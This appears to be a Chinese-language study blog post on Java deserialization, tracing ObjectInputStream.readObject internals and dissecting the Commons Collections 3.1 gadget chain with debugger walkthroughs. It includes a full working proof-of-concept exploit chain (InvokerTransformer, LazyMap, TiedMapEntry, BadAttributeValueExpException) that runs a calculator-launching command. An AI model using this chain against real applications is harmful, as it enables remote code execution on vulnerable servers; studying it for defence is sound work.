Java反序列化学习之反序列化流程及反射类源码分析学习

前言

闲着也是闲着入门下java反序列化

通篇文章更多是借用commonscollections学习反序列化和反射的源码

触发反序列化

ObjectInputStream.readObject// 流转化为Object
ObjectInputStream.readUnshared // 流转化为Object
XMLDecoder.readObject // 读取xml转化为Object
Yaml.load// yaml字符串转Object
XStream.fromXML// XStream用于Java Object与xml相互转化
ObjectMapper.readValue// jackson中的api
JSON.parseObject// fastjson中的api

反序列化过程

Demo

Human类实现Serializable接口用来序列化,主类showunserial实现Human类的序列化和反序列化.

import java.io.*;

public class showunserial {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Human human = new Human();
        human.name="xiaoming";
        human.age=18;
        File f = new File("/tmp/human.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        //将对象输出为字节流
        out.writeObject(human);
        out.close();
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("/tmp/human.ser");
        ObjectInputStream in = new ObjectInputStream(fileInputStream);
        Human e = null;
        e = (Human) in.readObject();
        in.close();
    }
}
class Human implements java.io.Serializable{
    public String name;
    public int age;
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        System.out.println("name: "+ name);
    }
}

这里利用ObjectInputStream类的readObject方法反序列化Human类.接着会去调用底层的反序列化方法readObject0方法

image-20200206205257856

readObject0关键代码如下,选择对象类型,根据不同类型执行操作。

image-20200206211328795

case 进入TC_OBJECT,执行readOrdinaryObject方法.该方法返回一个obj对象。跟进readClassDesc方法,该方法可以加载Human类的各个属性.调用栈如下

image-20200207004405873

image-20200207004337661

readOrdinaryObject方法继续执行,判断需要反序列化的Human类是否可以实例化,是则调用newInstance方法.

image-20200206211831099

接着执行readSerialData,这里重要是else if语句判断反序列化类是否重写readObject方法,有重写则执行invokeReadObject反射调用重写的readObject方法.

image-20200207024346739

反序列攻击时序图(@廖师傅)

SequenceDiagra

CommonsCollections

该反序列化漏洞点主要利用是InvokerTransformer.transform()方法可调用反射类且类变量可控导致RCE.

环境

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

exp

摘自:https://p0sec.net/index.php/archives/121/

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import javax.management.BadAttributeValueExpException;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open /System/Applications/Calculator.app"})
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        // val是私有变量,所以利用下面方法进行赋值
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("poc.txt");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        ois.readObject();
        ois.close();

    }
}

漏洞分析

InvokerTransformer.transform()input可控,且能够调用反射类执行input对象方法.

image-20200207025834248

Java中执行系统命令需要调用Runtime.getRuntime.exec()方法.正常写法,但是并不会有程序员直接调用transform且其中参数可控,如下并不通用。

import org.apache.commons.collections.functors.InvokerTransformer;

public class test3 {
    public static void main(String[] args) {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

ysoserial工具中commoncollections1 Payload利用ChainedTransformer.transform方法,该类能够接受Transformer接口类型的数组,且执行的transform方法循环回调.利用此先传入Runtime.getRuntime()调用反射类返回一个Runtime实例,在循环一次调用exec方法.

image-20200207031345268

image-20200207031251470

poc修改后如下

public class test2{
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open /System/Applications/Calculator.app"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
      transformerChain.transform("input");
    }
}

image-20200207032711428

debug分析,反射类第一个调用如下

new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] })

执行tranform反射类执行getClass获取合法类名,接着执行getMethod获取方法名,再调用invoke方法执行方法.

image-20200207032834363

一开始我不明白为啥iMethdName字段赋值为getMethod,

debug跟进Method method = cls.getMethod(iMethodName, iParamTypes);

底层调用getMethod0方法

image-20200207032610303

根据返回值跟进privateGetMethodRecursive方法,接着跟进privateGetDeclaredMethods方法,该方法获取VM中所有的方法。

image-20200207033703562

继续调用searchMethods方法匹配getMethod,返回反射类中的getMethod方法.

public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[]) throws java.lang.NoSuchMethodException,java.lang.SecurityException

image-20200207034408487

再来看最后执行的return method.invoke(input, iArgs);,根据调用栈显示invoke0方法会在执行一次反射类的getMehod方法,并进一步搜索getRuntime方法,返回Runtime.getRuntime方法

image-20200207035124469

借此第一次调用反射类就能够得到Runtime.getRuntime方法。但是要得到Runtime对象需要执行Runtime.getRuntime方法。这就有了第二次反射类调用

new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),

这里直接看这里return method.invoke(input, iArgs);执行过程,

底层invoke0调用反射类的invoke方法将Runtime.getRuntime()方法当作参数.

image-20200207040920312

由于二次调用invoke方法,会再执行invoke0方法,这里就可以直接执行Runtime.getRuntime().至此就能够返回Runtime对象.

image-20200207041134155

最后接着就可以执行exec方法,开启计算器.

执行流程类比

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class runtime {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Object obj = Runtime.class;
        Class cls = obj.getClass();
        Method method;
        method = cls.getMethod("getMethod",new Class[] {String.class, Class[].class });
        obj = method.invoke(obj, new Object[] {"getRuntime", new Class[0] });
        cls = obj.getClass();
        method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class });
        obj = method.invoke(obj, new Object[] {null, new Object[0] });
        cls = obj.getClass();
        method = cls.getMethod("exec",new Class[] { String.class });
        method.invoke(obj, new String[] { "open /System/Applications/Calculator.app" });

    }
}

那么如何利用这个利用链,理想情况下是直接readObject方法直接反序列化或其他触发函数。考虑内置类中的readObject重写且能够相继调用transform方法触发RCE.

exp利用LazyMap类get方法能够执行transform.

image-20200207051857286

利用TiedMapEntry类toString中的getValue方法执行get方法.

image-20200207052110217

最后需要找到触发toString的点,定位到BadAttributeValueExpException类,执行toString方法

image-20200207052208864

总结

java 反序列化太难写了,前前后后调试很久,稍微理解了反序列化机制和commoncollections反序列化流程.

  1. 反序列化优先调用重写readObject

  2. 利用反射机制可以构造任意类和任意方法并执行

  3. java中类变量赋值通过相应的方法赋值或者直接传入实现.

参考链接

https://docs.oracle.com/javase/8/docs/api/

https://p0sec.net/index.php/archives/121/

https://blog.0kami.cn/2019/10/24/study-java-deserialized-commonscollections3-1/

http://rui0.cn/archives/tag/java/page/2

https://zhuanlan.zhihu.com/p/64342725

https://juejin.im/post/5c4d5cc651882524b333d1a0